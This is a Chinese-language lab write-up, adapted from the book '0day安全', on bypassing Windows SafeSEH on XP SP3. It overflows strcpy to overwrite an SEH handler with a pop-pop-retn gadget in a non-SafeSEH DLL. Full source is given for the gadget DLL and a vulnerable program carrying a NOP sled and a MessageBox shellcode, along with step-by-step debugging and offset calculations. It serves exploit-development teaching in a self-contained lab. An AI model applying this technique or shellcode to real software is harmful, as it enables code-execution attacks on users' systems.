实验内容和代码均修改自《0day安全》第二版
实验环境
操作系统: Windows XP SP3 DEP关闭
EXE编译器: Visual Studio 2008
DLL编译器: VC++6.0 dll 基址设置 /base:"0x11120000"
编译选项: 禁用优化 (/0d)
build版本: release版本
实验原理
结合之前的内容,可以了解到对于未启用 SafeSEH 的 dll 中的函数,如果该函数被调用作为异常处理函数,只要不包含中间语言(IL),这个函数就可以通过 SafeSEH 机制的校验,进而被执行。
为了绕过 SafeSEH 的校验,我们常常选择一个跳板作为伪造的异常处理函数来“骗”过校验。包括之前堆中的 shellcode,这里未启用 SafeSEH 的模块,以及之后会提到的加载模块之外的指令跳板。区别在于对于堆来说 shellcode 存放在堆中;而这里的shellcode需要从“异常处理函数”返回到栈中来执行。
但从原理上来说,这些思想在实现 溢出-借助跳板-执行shellcode 的思路上都是大同小异的。
实验代码
先是用 VC++6.0 编译的DLL文件,源码如下:
// SEH_NoSafeSEH_JUMP.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved)
{
return TRUE;
}
void jump()
{
__asm{
pop eax
pop eax
retn
}
}
由于VC++6.0 编译的DLL默认基址为0x10000000,即我们需要的跳板地址中包含了 0x00 ,会截断 strcpy ,所以这里需要更改一下工程选项,将默认的基址改掉,这里改为/base:"0x11120000"。
(注:或许第一次接触的话会疑惑为什么改了以后装载基址中还是含有0x00。其实,DLL 文件中,代码片还有一个偏移量,一般是 0x1000 ,而最低位的 0x00 也会被我们需要的跳板代码的起始位置所替换,所以最后使用的跳板地址中便不会含有 0x00 了。)
接下来是 VS2008 编译的EXE:
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
DWORD MyException(void)
{
printf("There is an exception");
getchar();
return 1;
}
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
__try
{
zero=1/zero;
}
__except(MyException())
{
}
}
int _tmain(int argc, _TCHAR* argv[])
{
HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
char str[200];
//__asm int 3
test(shellcode);
return 0;
}
大致思路与之前一致,在这里先装载了一个未启用 SafeSEH 的DLL,在 test 函数中通过 strcpy 制造溢出,湮没异常处理函数指针指向该DLL,再刻意制造了一个除零异常,借助该DLL中 pop pop retn 指令作为跳板,绕过 SafeSEH 校验,并劫持程序返回栈中执行 shellcode 。
调试过程
由于 DLL 装载地址是固定的,这里我采用 OD 直接打开该程序进行调试。
找到 main 函数跟进,执行完 LoadLibrary 后,使用 OllySEEH 插件查看加载的 DLL 的 SafeSEH 情况。
可以看到该 DLL 的加载基址为之前设置的0x11120000。
如果之前没有分析过 DLL ,可以先用 LordPE 打开该 DLL 文件,结构就一目了然了。
得到装载基址为 0x11120000,代码片的偏移为 0x1000,即我们在这个 DLL 中添加的pop pop retn指令可以从0x11121000开始找。
接下来转到该位置查看设定的 pop pop retn 指令位置,在后面的 code 中也有别的可以利用的 pop pop retn 指令(如下图 0x11121017 处),这里我们用的是自主添加的位置 0x11121012 的指令作为跳板。
确定好跳板地址后,我们跟进程序,进入 test 函数执行流程,在 strcpy 函数执行完毕处中断:
(只要尝试跟进字符串复制流程即可发现,strcpy 执行时是一个字节一个字节覆盖的,所以只要简单地定位到 jnz 的下一条指令即可定位到 strcpy 完成处,完成处还会将 0x00 添加到字符串尾,如这里的 mov dword ptr ss:[ebp-0x1c], 0x0
这条指令,用来表示字符串结束。)
再观察栈的情况可以看到字符串的起始地址为 0x0012FDB8
另外由于 SEH 节点是保存在栈中的,一般距离当前栈帧最近的 SEH 节点位于 ESP 下方(高位),往后翻即可看到,当然也可以直接通过 OD 查看 SEH Chain 。
得到最近的节点位于 0x0012FE90 ,所以最近的异常处理函数指针位于 0x0012FE90 + 4 的位置(前四个字节指向下一个节点,当然这里只有这一个异常处理节点)。
到这里,调试已经接近尾声了,可是还没有完全成功。结合上面 strcpy 执行完成后的汇编指令以及之前的源代码,这里有一个细节:VS2008 编译的函数,在进入 __try{} 语句块时,会在 Security Cookie + 4 的位置压入一个值 。这个值会根据该语句块在函数中的位置而修改成不同的值。
例如两个 __try{} 语句块,进入第一个时该值为 0 ,进入第二个时为1。出现异常或处理完毕后赋值为 -2(VS2008 编译的为-2,VC++6.0 中为 -1) 。
该值在异常处理中还有其他用途,这里不做展开。然而,它对我们的 shellcode 可能会造成影响,即可能会截断我们的机器码。
由上图可以看到,如果在shellcode 的 pop pop retn 地址后直接跟上我们的机器码,那么势必会被这个异常处理的值给破坏。所以我们再加上8个 \x90 的填充即可。
最后经过计算,shellcode 的整体布局为:220个字节的 \x90 填充,4字节的跳板地址,8字节的填充,168字节的机器码。
F9 让程序继续执行即可看到弹出对话框
你以为结束了?
其实这里还有另外两个小插曲。
第一个小插曲:
一个是我们这里劫持的程序流程位于shellcode的起始位置,而shellcode中的一部分已经被跳板的地址和 __try{} 语句块需要的值给污染了,虽然很幸运地在这里这两处污染不会影响程序逻辑,但谨慎点总是好的。故而我们这里可以将 shellcode 起始位置处的 \x90\x90 改为一个简单的短跳转,短转移偏移量 = 0x0012FEA0 - 0x0012FE90 - 2 = 0x0E,因为 jmp 跳转基址是按照下一条指令来确定的,要减去两个字节的短转移指令长。
如果难以清晰理解的话可以参见下图:
我们只要构造短转移指令机器码0xEB0E
(EB 为短转移指令机器码),置入0x0012FE90对应的 shellcode 位置,如此便不用担心 shellcode 被污染的问题了。
第二个小插曲:
我们选择pop pop retn的原因是,在进入异常函数处理之时,栈的情况是 esp +8 的位置保存了处理该异常的 SEH 节点首地址 0x0012FE90 ,那为什么这个地址会入栈呢?
简单地讲,在通过 SEH 进行异常处理的时候,会先把当前 SEH 节点的首地址,也就是 nextSEH 的指针压入栈( 正常情况下,如果第一个节点无法处理该异常,转向下一节点),然后压进去两个现场相关的参数。所以两次 pop 之后,retn 指令赋值给 eip 的内容自然是当前 SEH 节点的首地址 0x0012FE90 了。